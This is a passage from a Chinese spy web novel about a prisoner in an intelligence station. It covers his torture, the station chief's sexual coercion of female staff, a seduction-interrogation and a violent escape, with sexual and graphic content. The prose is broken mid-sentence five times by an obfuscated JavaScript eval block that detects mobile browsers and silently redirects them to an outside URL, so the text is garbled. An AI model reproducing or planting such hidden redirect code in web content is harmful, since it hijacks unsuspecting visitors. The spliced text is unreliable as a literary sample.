老张踢了踢躺在地上一动不动的李二狗,啐了口唾沫。 “不知好歹的东西,等明天有你好受的。” 牢房里重归寂静,只剩下李二狗粗重的喘息声。 秋雨还在外面下着,冰凉的风从铁窗缝里钻进来,吹在他烫烂的后背上,疼得他浑身发抖。 他蜷缩在地上,血和泥水混在一起,把上衣染成了深褐色。 **自己还能撑多久,也不知道这场荒唐的误会什么时候才能结束。 但他心里清楚,只要还有一口气,就不能让这些特务得逞。 夜色越来越深,铁牢里的寒意像针一样扎进骨头缝里。 李二狗的意识渐渐模糊,在彻底失去知觉前,他仿佛看到梦瑶站在院门前,一边朝他挥手一边奶声奶气地喊道:“爹爹,爹爹,你早点回来。” 他想笑,嘴角却只是微微颤动了一下,血沫顺着嘴角缓缓流下,在冰冷的水泥地上晕开一小片暗红。 不知道什么时候,李二狗从昏迷中突然醒来,嘴里喊着“青霞”的名字。 李二狗虽然行动不便,脑子却转得飞快。 徐青霞是力行社特招的天才电讯员,真得会因为和自己有关联就被力行社惩处吗? 那个狠毒的女人到底是谁? 她又是怎么知道自己和徐青霞有关联? 如果力行社拿徐青霞要挟自己,自己到底应不应该交代出雅苑书店的地址? 李二狗之前并不了解地下党,也不了解力行社,但通过这几天的接触,他认为力行社是一个十足的无耻机构。 另外,他如果出卖了雅苑书店,宋小曼以后肯定会恨死自己! 可徐青霞又该怎么办? 此时,自己如果结束自己的生命,是不是一切问题就都解决了? 想到这,李二狗头痛欲裂。 正在这里,老张推门走了进来。 “不错啊,竟然还活着!你是第一个上了‘过山龙’还安然无恙的人。” 李二狗深呼一口气,问道:“这位兄弟,昨晚那个女人是谁?” 老张没想到李二狗在此情此景之下竟会问出这个问题,他以为李二狗是被王曼春的美色迷住了。 “没想到你们地下党也喜欢美人?哈哈,我劝你还是**这份心吧,王科长心比天高,她怎么会看上你呢?哈哈。” 李二狗不想和他争辩,说道:“我只是好奇为什么你们这么多大男人都要听她一个女人的号令,难道她是你们站长吗?” “站长?哈哈,看你快死的份上我就告诉你吧,她是我们力行社湖北站情报科科长,名叫王曼春,和我们站长……” 老张话未说完,牢房的铁门突然被推开了,王曼春走了进来。 “王科长,您来了。” 老张及时住了嘴,对着王曼春点头哈腰,很显然,他很怕这个女人。 王曼春没有理睬他,直接看向李二狗。 “你想好了没有?” 李二狗竟对着王曼春露出了一个微笑。 “王科长,你长得真好看。” 李二狗此话一出,不仅王曼春惊讶不已,老张也被惊得张大了嘴巴。 王曼春在湖北站之所以嚣张跋扈,完全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222304|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 因为她几年前用美色征服了站长马有才。 马有才已经将近五十岁,大腹便便,肚满肠肥,尤其是油光锃亮的大秃顶时常令王曼春反胃。 每次两人在床上颠龙倒凤的时候,王曼春脑子里都必须想象着其他年轻男人英俊的脸庞,才能勉强和他应付下去。 李二狗一张风流倜傥的脸庞正是王曼春理想的意淫对象。 他不仅英俊还特别硬,王曼春不仅不讨厌他,甚至还对他有一点好感。 “你少在这里花言巧语,你到底说不说?” “王科长,请你相信我,我真得不是地下党。” “你还真是不见棺材不掉泪,老张,去隔壁把徐青霞给我带过来。” 老张脸上滑过一丝迟疑,然后赶紧跑了出去,人人都知道,在湖北站,宁可得罪马有才也不能得罪王曼春。 当徐青霞出现在李二狗面前时,她立刻吓哭了。 她扑到李二狗身边,看着他满身伤痕,手不知道该放在哪里。 她失声痛哭道:“二狗,你怎么会在这里?谁把你打成这样的?” 李二狗艰难地挤出一丝微笑,安慰道:“不要哭,我没事,你赶紧离开这里,不要管我!” 王曼春笑道:“你们两人果然是相好,看来我没有冤枉你们。” 徐青霞起身怒视着王曼春,质问道:“我认识他怎么了?我已经和站长说得很清楚了,我没有告诉他任何关于我们力行社的事情,你们为什么还要这样对待他?实在是太过分了。” “啪!” 王曼春甩手给了徐青霞一记响亮的大耳光。 她之所以要把徐青霞牵扯进李二狗的案子,主要是因为马有才看徐青霞的眼神,那种眼神和当初他看自己的眼神一模一样。 就是那种大灰狼看小绵羊的眼神。 与自己相比,徐青霞更加年轻,更加漂亮,她有一种深深的危机感。 她已经为马有才付出了那么多,决不允许有人挑战她的地位。 现在徐青霞竟然拿站长来压她,她岂能受得了! 第363章 他……他是一个好人 “你……你凭什么**?”徐青霞捂着自己红肿的脸颊,大声质问道。 她刚到力行社湖北站不久,对王曼春和马有才的关系知之甚少。 王曼春虽然是情报科科长,但徐青霞在电讯科任职,她们之间并不是直接的上下级关系,徐青霞认为她不该打自己! 王曼春盯着徐青霞那张年轻且稚嫩的脸,真想不明白,为什么男人都喜欢这种少不更事的女人! 她们稚嫩的几乎不懂得怎么伺候男人! 可男人就是这种不可理喻的动物,他们根本不懂少妇的好,错把少女当作宝。 她打算给徐青霞一点教训,让她知道在湖北站谁才是掌握话语权的人。 她不屑地笑道:“凭什么?哼哼,就凭你私通地下党!我现在就可以一**了你!” 徐青霞没想到自己竟会被安上私通地下党的罪名,她和地下党有杀父杀母之仇,怎么可能会私通地下党! 她急辩道:“私通地下党?我什么时候私通地下党了?谁是地下党?你不要血口喷人!” 王曼春之所以知道徐青霞和李二狗有关联,是因为特务们带李二狗进拘押室的时候碰到了宋**,宋**一眼就认出了李二狗那张英俊的脸。 他拦住一个特务问是怎么回事,特务告诉他抓到了武汉地下党的一个高层领导。 这令宋**十分震惊,如果李二狗是地下党的高层,那对徐青霞意味着什么不言自明。 即使她不是地下党,以后也无法继续在力行社呆下去! 宋**是王曼春在湖北站的姘头,当天晚上他为了讨好王曼春,就把徐青霞和李二狗认识的事情告诉了王曼春。 王曼春如获至宝,她正想找个机会赶走徐青霞,没想到机会竟来得这么快这么突然。 那天晚上,王曼春使出浑身解数,把宋**伺候的屡屡站上云巅。 王曼春指了指地上遍体鳞伤的李二狗,质问道:“血口喷人?你认不认识这个男人?” 刚才进门的时候,徐青霞的表现已经说明了一切,她想否认也来不及了。 “我认识他怎么了?我根本没有向他提起过湖北站任何事情。” 王曼春没想到徐青霞竟如此幼稚,马有才真是瞎了眼,竟会看上这样的花瓶。 “你知道他是什么人吗?” “他……他是一个好人。” 王曼春忍不住笑了起来。 “哈哈哈,徐青霞啊徐青霞,你是真糊涂还是装糊涂,他是武汉地下党的高层,你竟说他是一个好人?他是好人,那我们是什么?坏人吗?” 听到李二狗是武汉地下党高层,徐青霞惊得目瞪口呆。 他怎么可能是地下党? 地下党杀害了自己的父母,她和地下党有着不共戴天之仇。 “不可能!绝对不可能!他怎么可能是地下党?我不信!我不信!” “你信不信重要吗?我们要是没有证据,怎么会把他抓到这里来?我告诉你,他已经承认了自己地下党的身份。” 徐青霞联想到在法兰西餐厅时,李二狗和刺杀自己的地下党确实认识,而且看起来交情还不浅。 难道他真的是武汉地下党的高层? 那他主动接触自己的目的是什么? 难道他早就知晓自己的身份,接近自己是蓄谋已久? 可他如果有不可告人的目的,为何在法兰西餐厅又舍命相救呢? 难道是苦肉计! 这一切实在是太不符合常理了! 此时的徐青霞彻底糊涂了。 她看着浑身是血的李二狗,流泪问道:“你真的是地下党吗?” “我说我不是,你信吗?” “只要你亲口说不是,我就信。” “我不是地下党。” 徐青霞泪流满面,抱着李二狗的身体,痛哭流涕。 “他说了自己不是地下党,你们快把他放了吧。” 王曼春对徐青霞彻底无语了。 古人常说,胸大无脑,在徐青霞身上再一次得到完美印证。 “他说不是就不是,你当我们是三岁小孩吗?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222305|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 告诉你,你私自勾结地下党,我怀疑你是打入我们湖北站的特务,老张,把她给我抓起来,我要亲自审问。” 老张知道徐青霞是力行社总部力荐到湖北站的天才电讯员,更何况,马有才垂涎徐青霞的美色,他绝不敢轻举妄动。 “王科长,这恐怕不妥吧?我建议还是先请示一下马站长再做决定。” 王曼春柳眉一竖,质问道:“怎么?我说的话在这里不管用吗?” 老张作为**湖,一向八面玲珑,她凑近王曼春身边,低声说道:“王科长,我不是这个意思,可她是总社社长力荐到咱们湖北站的,如果我们没有确凿的证据就贸然审问她,恐怕总社那边不好交代啊。” 力行社社长是一个心狠手辣的人物,在系统内也是出了名的老色鬼,他能力荐徐青霞,说明他们之间的关系非同一般。 王曼春深知得罪他的下场,可就这么放过徐青霞,她实在是心有不甘。 “那就先把她关起来,我亲自去向站长汇报。” 她一挥手,两个特务立马上前把徐青霞押了起来。 “二狗,二狗……你们放开我!你们凭什么抓我?” 王曼春冷冷地说道:“把她带下去,严加看管!如果出现任何差池,我拿你们是问。” 徐青霞被带走后,老张问道:“王科长,这个人怎么办?” 能用得招数都用过了,可李二狗却只字未说,实在是令王曼春感到意外。 如果他不招,就无法定徐青霞的罪。 王曼春心想,既然来硬的不行那就来软的,他刚才不是还调戏自己吗?也许这是个机会。 “老张,你安排人给他处理一下伤口,然后再给他换一身干净的衣服,不要再用刑了,下午我会来亲自审问他。” 老张不知道王曼春有什么新花招,但她吩咐的事自己不敢怠慢。 “王科长请放心,我马上去安排。” 王曼春离开之时,回头看了一眼躺在地上奄奄一息的李二狗,这个男人真的挺帅。 第364章 一语惊醒梦中人 王曼春来到马有才办公室,马有才正在把玩一个和田玉手串。 “曼春,那个人招了吗?” 王曼春叹了一口气,说道:“没想到那个人骨头非常硬,能用得招数几乎都用上了,可他一个字都没说。” 马有才继续把玩着手中的玉手串,徐徐说道:“既然他不说,那留着也没用,我看那就杀了吧。” 王曼春计划利用李二狗和徐青霞之间的特殊关系除掉徐青霞,她怎肯轻易放弃! “站长,这个李二狗是武汉地下党的高层,就这样轻易放弃是不是太可惜了?” 马有才是只老狐狸,和地下党打交道多年,他对地下党有着深入的了解。 “地下党的骨头都很硬,这样的人一旦顶住了我们第一轮的手段,以后那些手段对他来说就毫无作用了,那留着还有什么用?” 王曼春说道:“站长,有件事我得向您汇报。” 马有才这才放下手中的玉手串,站起来走到王曼春身前,问道:“曼春,什么事如此吞吞吐吐?这可不符合你的性格啊。” 说着便伸手捏了一下她白皙的脸颊。 王曼春不仅没有躲避,反而显得十分享受。 “站长,您的力气可真大,都把人家捏疼了。” 不可否认,王曼春的嗲音确实能勾起男人的性趣,马有才不仅没有停手,反而加大了手上的力度。 “你这个小骚狐狸,每次都喊疼,我看你每次都享受的不要不要的。” “你讨厌**,人家本来就是怕疼嘛!” 马有才一把拉过王曼春,狠狠地掐了一下她圆润的屁股。 “走,去里屋耍一耍,上次有个姿势我还没悟透,咱们再去探讨探讨。” 想起上次的姿势,王曼春心里不免一阵恶心。 她强装害羞,娇声道:“站长,这还没到中午呢,您未免也太着急了吧?” “管他什么中午下午,在这里,老子想什么时候就什么时候,谁敢管老子?” 马有才说完便强拉着王曼春进了里屋。 王曼春只好忍住恶心,用尽浑身解数来讨好马有才,可事后马有才还是不满意。 “不知道换个人会怎么样?”他自言自语道。 王曼春如遭雷劈,她强颜欢笑道:“站长,人家只是有些累了嘛,晚上我再好好伺候您,一定让您满意。” 马有才幽幽地说道:“女人到了一定的年纪,有些事情确实勉强不来,我知道你已经尽力了。” 王曼春恨得牙痒痒,她真想一**了这个肮脏龌龊的老男人。 可她不能,因为她的前途命运都掌握在这个老男人手中。 “站长,瞧您,总是这么着急,人家会努力的嘛。” 马有才不喜欢这种事后的言语找补,他非常不喜欢刚才那种人刚到半空就掉落下来的感觉。 “好了,你先穿上衣服出去吧,让我自己待会。” 王曼春的泪水在眼眶里打转,此时她更加坚定了要除掉徐青霞的决心。 她穿好衣服之后,并没有走出去。 “还有事?” “站长,有件事我必须得告诉您。” 马有才这才想起她刚才确实说要汇报一件事。 他从烟盒里抽出一支烟,叼在嘴里,王曼春赶紧拿起火柴点燃。 马有才深深地吸了一口,徐徐吐出烟雾之后,才缓缓说道:“什么事,你说吧?” “站长,电讯科的徐青霞和李二狗的关系非同一般。” 马有才突然被烟呛了一口,剧烈地咳嗽起来。 王曼春赶紧去给他拍打后背。 马有才咳嗽的脸通红,急问道:“你说谁和谁?” “电讯科的徐青霞和李二狗的关系非同一般。” “李二狗是谁?” “就是那个武汉地下党高层。” “你确定吗?徐青霞刚到武汉,她怎么可能和武汉地下党有关联?” “站长,千真万确,我亲眼看到她在牢房里抱着那个李二狗,哭得痛哭流涕。” 马有才气得猛拍桌子,接着又是一阵剧烈的咳嗽。 王曼春一边拍打着他的后背,一边说道:“我听宋队长说,上次在法兰西餐厅,徐青霞就是和李二狗一起吃饭时遇的袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225593|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。站长啊,你是没见李二狗,那张脸长得,可真是英俊啊。” 马有才毕竟是老狐狸,又岂能被王曼春几句话就轻易忽悠。 “会不会是这个李二狗自导自演的一出好戏,目的就是为了取得徐青霞的信任?” 王曼春微微一怔,旋即说道:“站长,如果真是李二狗自导自演的一出好戏,恐怕徐青霞已经把该说的不该说的都告诉了他,后果很严重啊。” 马有才没有说话,徐青霞是自己刚刚相中的猎物,他不愿意相信她会做出这等事情。 “有证据吗?” 王曼春只能说道:“目前还没有。” “她人在哪?” “已经被我关起来了,就等您一句话,我立马去审问。” 马有才站起来,在屋里踱来踱去,现在已经不是他喜不喜欢徐青霞的问题。 徐青霞是力行社总社特别安排到湖北站的电讯员,如果一到湖北站就出事,自己肯定难逃干系。 更为关键的是,**徐青霞在总社到底是什么背景,如果贸然动她,很可能会得罪总社的领导。 “站长,咱们湖北站这么多年来一直是力行社各个省站当中的堡垒社,社长如此看重您,咱们可千万不能出现任何纰漏啊。” 王曼春说的这些,马有才又何尝不知道,可徐青霞实在是太馋人了…… 目前这个情形,即使可以证明徐青霞和李二狗之间没有任何交易,但徐青霞也无法继续在湖北站立足。 这是力行社多年以来的规矩,背景必须绝对清白。 除非可以证明李二狗不是武汉地下党,一切问题便可迎刃而解。 但李二狗怎么可能不是地下党? 抓捕他的线索就是从武汉地下党内部传出来的。 “站长,不能再犹豫了!”王曼春催促道。 马有才还是下不了决心,徐青霞那纯净的眼神,他看一眼就浑身发抖。 “站长,徐青霞和李二狗的关系不清不楚,即使她不是打入咱们内部的间谍,可她喜欢李二狗却是板上钉钉的事实啊。” 一语惊醒梦中人。 第365章 美人计 徐青霞和李二狗不清不楚的关系是马有才绝对接受不了的。 不管李二狗是不是武汉地下党的高层领导,他都必须死! 至于徐青霞能不能活着,关键看她对自己的态度。 “曼春,你再去审问李二狗,如果明天之前他还不开口,立即处死!” “那徐青霞呢?”王曼春此时最关心的是如何处置徐青霞。 “她的事你不用管,我来处理。” 王曼春一听马有才的话,顿时意识到马有才的险恶用心,他是准备拿此事来逼迫徐青霞就范。 即使徐青霞不能留在湖北站,只要她答应马有才的条件,做了他的姨太太,那自己也将永无出头之日,毕竟这次她是彻底得罪了徐青霞。 “站长……” “你不要说了!你现在最重要的事情是审问李二狗,其他的事情你不用管了。” 王曼春不好再说什么,只好转身离开了马有才办公室。 此时,她心中只有一个想法,一定要不惜一切代价让李二狗承认自己是地下党。 只有这样,才能坐实徐青霞通共的嫌疑。 到时候自己再想办法把这个消息报告给总社,马有才就是再喜欢她也救不了她。 王曼春回到家中,把自己精心地梳妆打扮一番。 看着镜中美艳动人的自己,她有信心可以拿下李二狗。 王曼春选择了一件墨绿色高开叉紧身旗袍,将其凸凹有致的身材完美地呈现出来。 傍晚时分,她才扭动着腰肢来到审讯室,老张都看呆了。 “王……科长。” 王曼春早就习惯了男人看自己的眼神,对于老张这种男人,她连多看一眼的兴致都没有。 “李二狗怎么样了?” “已经按照您的吩咐给他处理了伤口,现在正在牢房里。” “徐青霞怎么样?” 老张结结巴巴地说道:“徐青霞她……她……” “她怎么了?” “站长派人把她带走了。” 王曼春把拳头攥的“啪啪”作响,她真想一**了徐青霞这个狐狸精。 “把李二狗带到审讯室。” 老张走后,王曼春来到审讯室,空气中弥漫着一股浓重的血腥味。 这间审讯室不知道打**多少人,那股阴森寒冷的感觉令人不寒而栗。 可王曼春不是一般的女人,她喜欢这种环境,甚至已经开始幻想和李二狗在这种环境下颠龙倒凤。 她趴在那根粗大的刑架下,李二狗站在她的身后,高大有型的肌肉、精壮的胸肌和腹肌令人血脉喷张…… 她忍不住舔舐了一下自己鲜红的嘴唇,这是她特意涂抹的今年最新款的斩男色。 “王科长,李二狗带到了。” 尽管李二狗脸上还有清晰的伤痕,但依然挡不住他浑身散发出来的雄性荷尔蒙气息。 王曼春觉得他真得好man…… “你先出去吧,没有我的命令,任何人不许进入这间审讯室。” 老张不知道王曼春要做什么,但他隐约觉得今晚的王曼春有一种春天里野猫发春的气息。 老张退出去之后,王曼春特意起身,把审讯室的门从里面反锁。 回头的瞬间,眼里的那股狐媚劲足以让绝大多数男人失去灵魂。 可很不幸,李二狗不在绝大多数男人之列。 他早已见惯了各种类型、各种性格、各种容貌的女人,绝不会被女人轻易拿捏。 “李先生,请坐。” 王曼春的声音发嗲,听得李二狗起了一身鸡皮疙瘩。 他实在弄不明白,王曼春到底要做什么? 李二狗没有说话,直接坐在椅子上,他倒要看看王曼春到底要耍什么花样。 “李先生,我很佩服你的胆识,你是我见过最硬……的男人。” 王曼春故意的断句令李二狗浑身不舒服。 小时候听评书,他知道敌人有一种计谋叫美人计,难道她要对自己使美人计? 王曼春的美貌确实让一般男人很难抵御。 “有什么话不妨直说吧,不用这么假惺惺。” 王曼春并不生气,而是站起身扭动着纤细的腰肢走到李二狗身后。 她的一双玉手突然按在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225594|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 李二狗的肩膀上,李二狗浑身一阵颤栗。 果然要用美人计! 好狠毒的女人! “李先生,我真得很敬佩你,”王曼春说着的同时,手已经伸进李二狗的上衣里,“哇偶,好健壮的肌肉,我好喜欢。” 李二狗突然站起来,甩开王曼春的手,大气凛然地说道:“你到底想干什么?想逼我就范,没那么容易!” 如果李二狗真是武汉地下党的高层,他假若受不了王曼春的诱惑,和她发生了某种关系,那他以后只能听从她的摆布! 可李二狗并不是武汉地下党的高层,他就是睡了王曼春也是白睡。 不过想到徐青霞可能就在隔壁,尽管他的身体已经产生了轻微的变化,但还是努力克制着自己的欲望。 对于王曼春来说,对付一般的地下党,她根本没有施展美人计的必要。 可对李二狗却有所不同。 一来王曼春是一个**,平时欲望非常强烈,她对于李二狗这样身材伟岸、英俊潇洒的男人毫无抵抗力。 另一方面她也想借此报复马有才,他可以乱搞女人,自己也可以和男人乱搞,当初和宋**勾搭在一起就是因为这个原因。 “怎么?怕我身上有刺吗?嘻嘻,你放心,我定会让你……” 王曼春说着已经开始解旗袍上的纽扣,媚眼如丝,令李二狗狂咽口水。 这样狂野的女人他真是第一次遇见! “你……你……就不担心有人闯进来吗?” 王曼春并没有停止自己手上的动作,旗袍很快就脱落到她的脚踝。 “你放心,没有我的命令,这里就是塌了天也不会有人进来!” 王曼春的一双玉脚从脱落的旗袍里走出来,她的皮肤是那样的晶莹玉透,甚至有些微微泛着粉色的光芒。 李二狗控制控制在控制,还是没控制住,他的脚不听使唤地走向王曼春。 王曼春露出一副妖媚的表情,微微闭上眼睛的同时伸出舌头轻轻地舔舐着自己的嘴唇。 她在等待一场**的到来。 “啊……” 第366章 站长,请您相信我 在王曼春的期待中,李二狗走到她身后,看着她光滑白皙的蝴蝶背,微微一笑,猛地一掌把她拍晕过去。 “想吃老子豆腐,没有那么容易!” 李二狗用绳子把脱得精光的王曼春绑了个大粽子,然后又用毛巾堵住了她的嘴。 王曼春太过自信,她认为没有男人能抵御自己的美色。 这次不仅单独审问李二狗,甚至连一把**都没有带。 在她的潜意识里,李二狗已然是她的裙下之臣。 李二狗从刑具里挑选了一个剔骨刀别在腰间,又选了一把血迹斑斑的铁棍握在手中。 他本来计划在后半夜再行动,但考虑到徐青霞的安危,他还是决定现在就出去。 李二狗轻轻地打开审讯室的门,探出头观察了一番,楼道里空荡荡的不见一个人影。 拘押室里非常灰暗,李二狗找了好几个牢房都没有看见徐青霞。 不仅没有找到徐青霞,牢房里甚至都没有其他犯人。 原来这间拘押室只是湖北站众多拘押室中的一个,平时只关押最重要的犯人。 李二狗悄悄来到一间亮着灯光的房间门口,房门半掩着,老张正在里面哼唱着淫词艳曲,脸上陶醉的表情仿佛正在把王曼春压在身下。 李二狗发现脚下有一个瓶子,由于不知道这个拘押室到底有多少看守,为了安全起见,他抬脚轻轻地踢了一下瓶子。 瓶子滚到房间门口停了下来,李二狗闪身躲到一边。 “谁?” 李二狗屏住呼吸,没有说话,这引起了老张的警觉。 “谁?” 他从桌上摸起枪,走向门口。 “谁在外边?” 李二狗依然保持着沉默。 老张以为是自己出现了幻觉,开门的瞬间,李二狗手中的剔骨刀已然抵到他的脖子上。 “敢出声,一刀宰了你。” 老张被吓坏了,手一哆嗦,手里的枪“哐当”一声掉在地上,在寂静的夜里显得十分响亮。 在拘押室门外站岗的一个特务听到响声,问道:“老张,你在干什么?动静这么大?” 李二狗低声说道:“把他叫进来。” 老张不敢违拗,说道:“我煮了好东西,你俩快来吃。” 听到是两个人,李二狗真想一刀宰了老张,他肯定是故意的。 “两个人?你**是找死吗?”李二狗把刀刃往下压了压。 老张求饶道:“爷爷饶命,我真不是故意的,外边有两个人,我叫一个人进来也不合适啊。” 说话间,脚步声已经传了过来,确实是两个人的声音。 李二狗捡起地上的枪,插在腰里。 “你去开门,敢耍花样,这把刀会立即插入你的心脏,听明白了没有?” 老张吓得连连点头。 “老张,我们来了,快开门,你**自己在屋里还插什么门?” 老张没有解释,直接说道:“来了来了。” 房门打开的瞬间,李二狗手中的剔骨刀已然插入一个人的喉咙,另一个人还未来得及喊叫,李二狗已捂住他的嘴巴,拔刀又**了他的心脏。 短短几秒钟,两条生命就葬送在李二狗手里。 老张惊得目瞪口呆,顿时瘫倒在地上,一股浓郁的腥臊味,他吓尿了! 李二狗顾不上腥臊,厉声问道:“徐青霞关押在哪里?快说!” 老张哆哆嗦嗦地说道:“她……她被站长带走了!” “带哪去了?敢有一句假话,我要你的狗命。” “我……我不知道,站长派人把她带走了,可能在站长的办公室。” “办公室?” 李二狗不明白站长审问人为什么要带到他的办公室,只是隐隐有种不祥的预感。 他的预感没有错,徐青霞确实遇到了危险。 马有才下午派人把徐青霞带到自己的办公室。 一见到徐青霞,马有才立即露出一副怜香惜玉的表情。 “青霞啊,让你受委屈了,我真没想到这个王曼春做事竟如此简单粗暴,她怎么能把你关押起来呢,实在是太过分了!” 徐青霞听闻此言,未语泪先流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229880|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “站长,您得还我清白啊,我真得没有私通地下党,我是被冤枉的。” 马有才贴心地把徐青霞扶到沙发上坐下,又给她倒了一杯热水,然后便很自然地坐在她的身旁。 “青霞啊,我当然是相信你的,不然我也不会把你叫到我的办公室来。” “谢谢站长,谢谢站长,还有李二狗,他也是被冤枉的。” 尽管徐青霞还不能确定李二狗的**,但她绝对不会见死不救。 “青霞啊,你和李二狗到底是什么关系?” 徐青霞一愣,瞬间明白肯定是有人在马有才面前说了什么。 “站长,我和他是在来武汉的火车上刚刚认识的,只是萍水相逢的朋友罢了。” “萍水相逢?真是这样吗?我听说在法兰西餐厅,他曾为了救你,差点丢掉性命。这事到底是不是真的?” 徐青霞不知道该如何回答马有才,因为他说的是事实,可自己和李二狗萍水相逢也是事实。 这两个事实摆在一起,很难令人相信这是真的。 徐青霞只能模糊地解释道:“当时情况紧急,他也许是出于本能吧。” 马有才笑道:“本能?我怎么听说那两个**和他认识?” “他们……,这……也许只是一个巧合吧。”徐青霞有些语无伦次的解释道。 马有才依然保持着笑容,谈话正在向他预设的方向发展。 “恐怕没有那么多巧合吧?我怎么感觉有些蓄谋已久呢?” “站长,您……听我说,真的不是您想的那样,我和他……他真的不是……我……” 马有才笑着安慰道:“青霞,不要紧张嘛,事实是什么就是什么,我们谁也改变不了!” 徐青霞一听有些着急,便保证道:“站长,请您相信我,李二狗真的不是地下党,我可以用性命担保。” 马有才没想到徐青霞为了救李二狗竟愿意以性命担保,这令他醋意大发。 “实话告诉你,我们已经有了李二狗是武汉地下党的确凿证据,他死定了!” 第367章 马有才的无耻要求 徐青霞被马有才的话吓坏了。 本来她就不能确定李二狗到底是不是地下党,没想到马有才现在已经掌握了确凿的证据。 一旦证实李二狗是地下党,等待他的将是什么,她心里非常清楚。 徐青霞起身跪倒在马有才面前,苦苦哀求道:“站长,求求你救救他吧。” “救救他?”马有才此时已经板起脸,“你让我救一个地下党的高层?青霞啊,这可不是闹着玩的,你要想清楚你在做什么?” 看着跪倒在自己身前的徐青霞,马有才露出一副势在必得的表情。 对于他来说,女人心里有没有他并不重要,重要的是要把女人压在自己身下! “站长,我可以去说服他。” 马有才哈哈大笑起来。 “说服他?我们已经对他动用了一切能用的手段,他都没有招供,对这样的人,你竟想去说服他?青霞,你实在是太幼稚了!” 徐青霞此时已经没有了主意。 “站长,那到底怎么样才能救他?” 马有才笑了,这才是自己想要的效果。 他抚摸了一下吴青霞的头顶,笑意盈盈地问道:“你果真想救他?” 徐青霞毫不犹豫地点了点头。 “想救他其实也很容易,”马有才故意顿了顿,“只要我睁一只眼闭一只眼,这事很容易就过去了。” “真的?” 徐青霞简直难以相信自己的耳朵。 “当然是真的,我怎么会骗你呢?” 此时,马有才看徐青霞的眼神就像大灰狼看小绵羊,而徐青霞完全没有察觉到。 “站长,谢谢你,谢谢你。” “只是谢谢吗?” 马有才一双色眯眯的眼睛居高临下地打量着徐青霞,这个女人长得可真水灵啊!掐一把能掐出一床单的水。 “站长,您还想要什么?”徐青霞天真地问道。 “青霞啊,虽然我是湖北站的站长,但是你要知道,湖北站上面还有总社,总社有很多领导都比我的职位高……” 徐青霞不明白马有才为何要与她说这些,她纯净的眼神令马有才恨不得立马把她压在身下。 “你也知道,咱们社有将近二百人,这二百人当中有很多人与总社领导之间有着千丝万缕的联系,我如果私自做主放了李二狗,一旦被他们捅上去,你知道我得面临多大的风险吗?” 马有才做了一个吃枪子的手势,吓得徐青霞一个战栗。 人家以性命相救,确实不是一句简单的谢谢就能还这么大的人情。 徐青霞毕竟是大学生,虽然人有些单纯,但她智商没有问题。 马有才既然主动说出自己可以救李二狗,那他就已经提前评估了此事带来的风险,他现在要的只是回报而已,等价回报! “站长,请您放心,只要您救了李二狗,我愿意为咱们湖北站奉献一生,多破译敌人的情报,再立新功。” 马有才听后再次哈哈大笑起来,他实在想不明白,这个徐青霞是真傻还是装傻。 “青霞啊,你能有如此境界,我很感动啊!不过你说的那些都是以后的事情,现在还是先想想如今该怎么感谢我!” 徐青霞看到马有才色眯眯地盯着自己的胸脯,这才恍然大悟,原来他要的是这个! 从她进站的那天起,就一直以为马有才是一位和善宽厚、爱护下属的长者,可没想到他竟如此下流! 她内心顿时感觉到一阵恶心。 